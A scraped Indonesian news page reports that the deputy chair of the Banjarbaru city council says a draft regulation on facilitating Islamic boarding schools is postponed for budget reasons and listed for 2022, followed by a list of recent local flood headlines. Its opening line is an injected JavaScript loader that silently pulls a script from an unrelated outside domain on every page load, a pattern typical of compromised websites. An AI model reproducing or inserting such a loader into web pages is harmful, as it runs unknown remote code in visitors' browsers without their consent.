(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Raperda Fasilitasi Pontren Tertunda, Ini Kata Wakil Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mempertanyakan salah satu Rancangan Peraturan Daerah (Raperda) yang diminta untuk ditunda oleh Pemerintah Kota (Pemko) yaitu Raperda Fasilitasi Pondok Pesantren.

Penundaan pembahasan Raperda tersebut juga disebabkan oleh keuangan daerah yang masih belum stabil.

Wakil Ketua DPRD Kota Banjarbaru, Taufik Rachman mengatakan Raperda tersebut ditunda karena kemampuan keungan Pemerintah Kota Banjarbaru yang masih belum stabil.

“Kita juga harus melihat pada kedua sisi keadaan, jadi bukan hanya Perdanya saja tapi kemampuan keuangan kita,” ujarnya.

 

 

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Taufik mengungkapkan di tahun 2022 mendatang Raperta yang merupakan inisiatif dari DPRD Kota Banjarbaru akan masuk pembahasan terkait Fasilitasi Pondok Pesantren (Pontren) yang ditunda, dikatakan Politisi Partai Golkar ini, Raperda tersebut akan masuk list dalam pembahasan Raperda di tahun 2022.

“Sudah dimasukkan di 2022, Raperda itu salah satu yang akan kita bahas. Menjadi list yang akan dibahas,” ungkapnya.

Diharapkan Taufik di tahun 2022 Kota Banjarbaru mengalami peningkatan dari segi ekonomi, serta keadaan keungan menjadi bagus, sehingga Raperda Fasilitasi Pontren akan dibahas serta ditindaklanjuti.

Dilanjutkannya, karena dengan adanya Ralerda ini akan ada biaya atau dana yang dikeluarkan untuk menunjang berjalanya Perda tersebut Karena harus ada perhatian seperti sarana dan prasarana serta guru.

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Lebih jauh Taufik tidak berani berstatement kalau terjadi penundaan Raperda Fasilitasi Pontren disebebkan mekanisme Raperda tersebut akan ada dipembahasan.

“Nanti kita tunggu di pembahasan, dari beberapa fraksi nanti bisa menilai apakah ini sudah layak dilanjutkan atau perlu ditunda, kita belum tahu,” tandasnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.